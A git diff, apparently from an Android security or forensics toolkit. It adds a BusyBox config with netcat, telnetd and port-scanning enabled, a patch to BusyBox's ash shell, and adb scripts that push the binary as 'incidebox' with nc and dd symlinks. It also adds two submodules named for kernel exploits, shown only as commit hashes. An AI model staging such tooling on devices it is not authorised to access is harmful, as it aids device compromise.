+CONFIG_RX=y +CONFIG_SETSID=y +CONFIG_STRINGS=y +# CONFIG_TASKSET is not set +# CONFIG_FEATURE_TASKSET_FANCY is not set +CONFIG_TIME=y +CONFIG_TIMEOUT=y +CONFIG_TTYSIZE=y +CONFIG_VOLNAME=y +CONFIG_WATCHDOG=y + +# +# Networking Utilities +# +CONFIG_NAMEIF=y +CONFIG_FEATURE_NAMEIF_EXTENDED=y +CONFIG_NBDCLIENT=y +CONFIG_NC=y +CONFIG_NC_SERVER=y +CONFIG_NC_EXTRA=y +# CONFIG_NC_110_COMPAT is not set +CONFIG_PING=y +CONFIG_PING6=y +CONFIG_FEATURE_FANCY_PING=y +CONFIG_WHOIS=y +CONFIG_FEATURE_IPV6=y +# CONFIG_FEATURE_UNIX_LOCAL is not set +CONFIG_FEATURE_PREFER_IPV4_ADDRESS=y +# CONFIG_VERBOSE_RESOLUTION_ERRORS is not set +CONFIG_ARP=y +CONFIG_ARPING=y +CONFIG_BRCTL=y +CONFIG_FEATURE_BRCTL_FANCY=y +CONFIG_FEATURE_BRCTL_SHOW=y +CONFIG_DNSD=y +CONFIG_ETHER_WAKE=y +CONFIG_FAKEIDENTD=y +CONFIG_FTPD=y +CONFIG_FEATURE_FTP_WRITE=y +CONFIG_FEATURE_FTPD_ACCEPT_BROKEN_LIST=y +CONFIG_FTPGET=y +CONFIG_FTPPUT=y +CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS=y +CONFIG_HOSTNAME=y +CONFIG_HTTPD=y +CONFIG_FEATURE_HTTPD_RANGES=y +CONFIG_FEATURE_HTTPD_USE_SENDFILE=y +CONFIG_FEATURE_HTTPD_SETUID=y +CONFIG_FEATURE_HTTPD_BASIC_AUTH=y +CONFIG_FEATURE_HTTPD_AUTH_MD5=y +CONFIG_FEATURE_HTTPD_CGI=y +CONFIG_FEATURE_HTTPD_CONFIG_WITH_SCRIPT_INTERPR=y +CONFIG_FEATURE_HTTPD_SET_REMOTE_PORT_TO_ENV=y +CONFIG_FEATURE_HTTPD_ENCODE_URL_STR=y +CONFIG_FEATURE_HTTPD_ERROR_PAGES=y +CONFIG_FEATURE_HTTPD_PROXY=y +CONFIG_FEATURE_HTTPD_GZIP=y +CONFIG_IFCONFIG=y +CONFIG_FEATURE_IFCONFIG_STATUS=y +CONFIG_FEATURE_IFCONFIG_SLIP=y +CONFIG_FEATURE_IFCONFIG_MEMSTART_IOADDR_IRQ=y +CONFIG_FEATURE_IFCONFIG_HW=y +CONFIG_FEATURE_IFCONFIG_BROADCAST_PLUS=y +CONFIG_IFENSLAVE=y +CONFIG_IFPLUGD=y +CONFIG_IFUPDOWN=y +CONFIG_IFUPDOWN_IFSTATE_PATH="/var/run/ifstate" +CONFIG_FEATURE_IFUPDOWN_IP=y +CONFIG_FEATURE_IFUPDOWN_IP_BUILTIN=y +# CONFIG_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN is not set +CONFIG_FEATURE_IFUPDOWN_IPV4=y +CONFIG_FEATURE_IFUPDOWN_IPV6=y +CONFIG_FEATURE_IFUPDOWN_MAPPING=y +# CONFIG_FEATURE_IFUPDOWN_EXTERNAL_DHCP is not set +CONFIG_INETD=y +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_ECHO=y +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_DISCARD=y +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_TIME=y +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_DAYTIME=y +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_CHARGEN=y +CONFIG_FEATURE_INETD_RPC=y +CONFIG_IP=y +CONFIG_FEATURE_IP_ADDRESS=y +CONFIG_FEATURE_IP_LINK=y +CONFIG_FEATURE_IP_ROUTE=y +CONFIG_FEATURE_IP_TUNNEL=y +CONFIG_FEATURE_IP_RULE=y +CONFIG_FEATURE_IP_SHORT_FORMS=y +# CONFIG_FEATURE_IP_RARE_PROTOCOLS is not set +CONFIG_IPADDR=y +CONFIG_IPLINK=y +CONFIG_IPROUTE=y +CONFIG_IPTUNNEL=y +CONFIG_IPRULE=y +CONFIG_IPCALC=y +CONFIG_FEATURE_IPCALC_FANCY=y +CONFIG_FEATURE_IPCALC_LONG_OPTIONS=y +CONFIG_NETSTAT=y +CONFIG_FEATURE_NETSTAT_WIDE=y +CONFIG_FEATURE_NETSTAT_PRG=y +CONFIG_NSLOOKUP=y +CONFIG_NTPD=y +CONFIG_FEATURE_NTPD_SERVER=y +CONFIG_PSCAN=y +CONFIG_ROUTE=y +CONFIG_SLATTACH=y +CONFIG_TCPSVD=y +CONFIG_TELNET=y +CONFIG_FEATURE_TELNET_TTYPE=y +CONFIG_FEATURE_TELNET_AUTOLOGIN=y +CONFIG_TELNETD=y +CONFIG_FEATURE_TELNETD_STANDALONE=y +CONFIG_FEATURE_TELNETD_INETD_WAIT=y +CONFIG_TFTP=y +CONFIG_TFTPD=y + +# +# Common options for tftp/tftpd +# +CONFIG_FEATURE_TFTP_GET=y +CONFIG_FEATURE_TFTP_PUT=y +CONFIG_FEATURE_TFTP_BLOCKSIZE=y +CONFIG_FEATURE_TFTP_PROGRESS_BAR=y +# CONFIG_TFTP_DEBUG is not set +CONFIG_TRACEROUTE=y +CONFIG_TRACEROUTE6=y +CONFIG_FEATURE_TRACEROUTE_VERBOSE=y +# CONFIG_FEATURE_TRACEROUTE_SOURCE_ROUTE is not set +# CONFIG_FEATURE_TRACEROUTE_USE_ICMP is not set +CONFIG_TUNCTL=y +CONFIG_FEATURE_TUNCTL_UG=y +# CONFIG_UDHCPC6 is not set +CONFIG_UDHCPD=y +CONFIG_DHCPRELAY=y +CONFIG_DUMPLEASES=y +CONFIG_FEATURE_UDHCPD_WRITE_LEASES_EARLY=y +# CONFIG_FEATURE_UDHCPD_BASE_IP_ON_MAC is not set +CONFIG_DHCPD_LEASES_FILE="/var/lib/misc/udhcpd.leases" +CONFIG_UDHCPC=y +CONFIG_FEATURE_UDHCPC_ARPING=y +CONFIG_FEATURE_UDHCP_PORT=y +CONFIG_UDHCP_DEBUG=9 +CONFIG_FEATURE_UDHCP_RFC3397=y +CONFIG_FEATURE_UDHCP_8021Q=y +CONFIG_UDHCPC_DEFAULT_SCRIPT="/usr/share/udhcpc/default.script" +CONFIG_UDHCPC_SLACK_FOR_BUGGY_SERVERS=80 +CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS="-R -n" +CONFIG_UDPSVD=y +CONFIG_VCONFIG=y +CONFIG_WGET=y +CONFIG_FEATURE_WGET_STATUSBAR=y +CONFIG_FEATURE_WGET_AUTHENTICATION=y +CONFIG_FEATURE_WGET_LONG_OPTIONS=y +CONFIG_FEATURE_WGET_TIMEOUT=y +CONFIG_ZCIP=y + +# +# Print Utilities +# +CONFIG_LPD=y +CONFIG_LPR=y +CONFIG_LPQ=y + +# +# Mail Utilities +# +CONFIG_MAKEMIME=y +CONFIG_FEATURE_MIME_CHARSET="us-ascii" +CONFIG_POPMAILDIR=y +CONFIG_FEATURE_POPMAILDIR_DELIVERY=y +CONFIG_REFORMIME=y +CONFIG_FEATURE_REFORMIME_COMPAT=y +CONFIG_SENDMAIL=y + +# +# Process Utilities +# +CONFIG_IOSTAT=y +CONFIG_LSOF=y +CONFIG_MPSTAT=y +CONFIG_NMETER=y +CONFIG_PMAP=y +CONFIG_POWERTOP=y +CONFIG_PSTREE=y +CONFIG_PWDX=y +CONFIG_SMEMCAP=y +CONFIG_TOP=y +CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE=y +CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS=y +CONFIG_FEATURE_TOP_SMP_CPU=y +CONFIG_FEATURE_TOP_DECIMALS=y +CONFIG_FEATURE_TOP_SMP_PROCESS=y +CONFIG_FEATURE_TOPMEM=y +CONFIG_UPTIME=y +CONFIG_FEATURE_UPTIME_UTMP_SUPPORT=y +CONFIG_FREE=y +CONFIG_FUSER=y +CONFIG_KILL=y +CONFIG_KILLALL=y +CONFIG_KILLALL5=y +CONFIG_PGREP=y +CONFIG_PIDOF=y +CONFIG_FEATURE_PIDOF_SINGLE=y +CONFIG_FEATURE_PIDOF_OMIT=y +CONFIG_PKILL=y +CONFIG_PS=y +CONFIG_FEATURE_PS_WIDE=y +CONFIG_FEATURE_PS_LONG=y +# CONFIG_FEATURE_PS_TIME is not set +# CONFIG_FEATURE_PS_ADDITIONAL_COLUMNS is not set +# CONFIG_FEATURE_PS_UNUSUAL_SYSTEMS is not set +CONFIG_RENICE=y +CONFIG_BB_SYSCTL=y +CONFIG_FEATURE_SHOW_THREADS=y +CONFIG_WATCH=y + +# +# Runit Utilities +# +CONFIG_RUNSV=y +CONFIG_RUNSVDIR=y +# CONFIG_FEATURE_RUNSVDIR_LOG is not set +CONFIG_SV=y +CONFIG_SV_DEFAULT_SERVICE_DIR="/var/service" +CONFIG_SVLOGD=y +CONFIG_CHPST=y +CONFIG_SETUIDGID=y +CONFIG_ENVUIDGID=y +CONFIG_ENVDIR=y +CONFIG_SOFTLIMIT=y +# CONFIG_CHCON is not set +# CONFIG_FEATURE_CHCON_LONG_OPTIONS is not set +# CONFIG_GETENFORCE is not set +# CONFIG_GETSEBOOL is not set +# CONFIG_LOAD_POLICY is not set +# CONFIG_MATCHPATHCON is not set +# CONFIG_RESTORECON is not set +# CONFIG_RUNCON is not set +# CONFIG_FEATURE_RUNCON_LONG_OPTIONS is not set +# CONFIG_SELINUXENABLED is not set +# CONFIG_SETENFORCE is not set +# CONFIG_SETFILES is not set +# CONFIG_FEATURE_SETFILES_CHECK_OPTION is not set +# CONFIG_SETSEBOOL is not set +# CONFIG_SESTATUS is not set + +# +# Shells +# +CONFIG_ASH=y +CONFIG_ASH_BASH_COMPAT=y +# CONFIG_ASH_IDLE_TIMEOUT is not set +CONFIG_ASH_JOB_CONTROL=y +CONFIG_ASH_ALIAS=y +CONFIG_ASH_GETOPTS=y +CONFIG_ASH_BUILTIN_ECHO=y +CONFIG_ASH_BUILTIN_PRINTF=y +CONFIG_ASH_BUILTIN_TEST=y +CONFIG_ASH_CMDCMD=y +# CONFIG_ASH_MAIL is not set +CONFIG_ASH_OPTIMIZE_FOR_SIZE=y +CONFIG_ASH_RANDOM_SUPPORT=y +CONFIG_ASH_EXPAND_PRMT=y +CONFIG_CTTYHACK=y +# CONFIG_HUSH is not set +# CONFIG_HUSH_BASH_COMPAT is not set +# CONFIG_HUSH_BRACE_EXPANSION is not set +# CONFIG_HUSH_HELP is not set +# CONFIG_HUSH_INTERACTIVE is not set +# CONFIG_HUSH_SAVEHISTORY is not set +# CONFIG_HUSH_JOB is not set +# CONFIG_HUSH_TICK is not set +# CONFIG_HUSH_IF is not set +# CONFIG_HUSH_LOOPS is not set +# CONFIG_HUSH_CASE is not set +# CONFIG_HUSH_FUNCTIONS is not set +# CONFIG_HUSH_LOCAL is not set +# CONFIG_HUSH_RANDOM_SUPPORT is not set +# CONFIG_HUSH_EXPORT_N is not set +# CONFIG_HUSH_MODE_X is not set +# CONFIG_MSH is not set +CONFIG_FEATURE_SH_IS_ASH=y +# CONFIG_FEATURE_SH_IS_HUSH is not set +# CONFIG_FEATURE_SH_IS_NONE is not set +CONFIG_FEATURE_BASH_IS_ASH=y +# CONFIG_FEATURE_BASH_IS_HUSH is not set +# CONFIG_FEATURE_BASH_IS_NONE is not set +CONFIG_SH_MATH_SUPPORT=y +CONFIG_SH_MATH_SUPPORT_64=y +CONFIG_FEATURE_SH_EXTRA_QUIET=y +# CONFIG_FEATURE_SH_STANDALONE is not set +# CONFIG_FEATURE_SH_NOFORK is not set +CONFIG_FEATURE_SH_HISTFILESIZE=y + +# +# System Logging Utilities +# +CONFIG_SYSLOGD=y +CONFIG_FEATURE_ROTATE_LOGFILE=y +CONFIG_FEATURE_REMOTE_LOG=y +CONFIG_FEATURE_SYSLOGD_DUP=y +CONFIG_FEATURE_SYSLOGD_CFG=y +CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=256 +CONFIG_FEATURE_IPC_SYSLOG=y +CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=16 +CONFIG_LOGREAD=y +CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING=y +# CONFIG_FEATURE_KMSG_SYSLOG is not set +CONFIG_KLOGD=y +CONFIG_FEATURE_KLOGD_KLOGCTL=y +CONFIG_LOGGER=y diff --git b/tools/busybox-android/busybox-android.patch a/tools/busybox-android/busybox-android.patch new file mode 100644 index 0000000..67896fc --- /dev/null +++ a/tools/busybox-android/busybox-android.patch @@ -0,0 +1,60 @@ +diff --git a/include/libbb.h b/include/libbb.h +index 64167bba3dbe..bbe6cfa3bf1d 100644 +--- a/include/libbb.h ++++ b/include/libbb.h +@@ -1785,7 +1785,7 @@ extern struct globals *const ptr_to_globals; + * use bb_default_login_shell and following defines. + * If you change LIBBB_DEFAULT_LOGIN_SHELL, + * don't forget to change increment constant. */ +-#define LIBBB_DEFAULT_LOGIN_SHELL "-/bin/sh" ++#define LIBBB_DEFAULT_LOGIN_SHELL "-/system/bin/sh" + extern const char bb_default_login_shell[] ALIGN1; + /* "/bin/sh" */ + #define DEFAULT_SHELL (bb_default_login_shell+1) +diff --git a/init/init.c b/init/init.c +index d29328c36f9a..d411136e7932 100644 +--- a/init/init.c ++++ b/init/init.c +@@ -1057,7 +1057,7 @@ int init_main(int argc UNUSED_PARAM, char **argv) + /* Make sure environs is set to something sane */ + putenv((char *) "HOME=/"); + putenv((char *) bb_PATH_root_path); +- putenv((char *) "SHELL=/bin/sh"); ++ putenv((char *) "SHELL=/system/bin/sh"); + putenv((char *) "USER=root"); /* needed? why? */ + + if (argv[1]) +diff --git a/shell/ash.c b/shell/ash.c +index 71ef9a690f59..63d981ffd7a3 100644 +--- a/shell/ash.c ++++ b/shell/ash.c +@@ -13221,11 +13221,13 @@ int ash_main(int argc UNUSED_PARAM, char **argv) + + if (argv[0] && argv[0][0] == '-') + isloginsh = 1; ++ else ++ isloginsh = 1; + if (isloginsh) { + const char *hp; + + state = 1; +- read_profile("/etc/profile"); ++ read_profile("/system/etc/profile"); + state1: + state = 2; + hp = lookupvar("HOME"); +@@ -13266,13 +13268,7 @@ int ash_main(int argc UNUSED_PARAM, char **argv) + if (iflag) { + const char *hp = lookupvar("HISTFILE"); + if (!hp) { +- hp = lookupvar("HOME"); +- if (hp) { +- hp = concat_path_file(hp, ".ash_history"); +- setvar0("HISTFILE", hp); +- free((char*)hp); +- hp = lookupvar("HISTFILE"); +- } ++ setvar("HISTFILE", "/data/ash_history", 0); + } + if (hp) + line_input_state->hist_file = hp; diff --git b/tools/busybox-android/deploy.sh a/tools/busybox-android/deploy.sh new file mode 100755 index 0000000..d368b4f --- /dev/null +++ a/tools/busybox-android/deploy.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +if [[ $1 == "" ]]; then + echo "No device specified. Exiting..." + exit 1 +fi + +adb -s $1 push busybox /data/local/tmp/incidebox +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/dd +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/gzip +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/nc +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/id +adb -s $1 shell ln -s /data/local/tmp/incidebox /data/local/tmp/stat diff --git b/tools/busybox-android/undeploy.sh a/tools/busybox-android/undeploy.sh new file mode 100755 index 0000000..4ac4558 --- /dev/null +++ a/tools/busybox-android/undeploy.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +if [[ $1 == "" ]]; then + echo "No device specified. Exiting..." + exit 1 +fi + +adb -s $1 shell rm /data/local/tmp/dd +adb -s $1 shell rm /data/local/tmp/gzip +adb -s $1 shell rm /data/local/tmp/nc +adb -s $1 shell rm /data/local/tmp/id +adb -s $1 shell rm /data/local/tmp/stat +adb -s $1 shell rm /data/local/tmp/incidebox diff --git b/tools/kernel-exploits a/tools/kernel-exploits new file mode 160000 index 0000000..4d2d398 --- /dev/null +++ a/tools/kernel-exploits @@ -0,0 +1 @@ +Subproject commit 4d2d39875258c44718353c256aec17973d248e76 diff --git b/tools/linux-kernel-exploitation a/tools/linux-kernel-exploitation new file mode 160000 index 0000000..abb2d9c --- /dev/null +++ a/tools/linux-kernel-exploitation @@ -0,0 +1 @@ +Subproject commit abb2d9cd45c9adea0cda030481ddb616a23a270a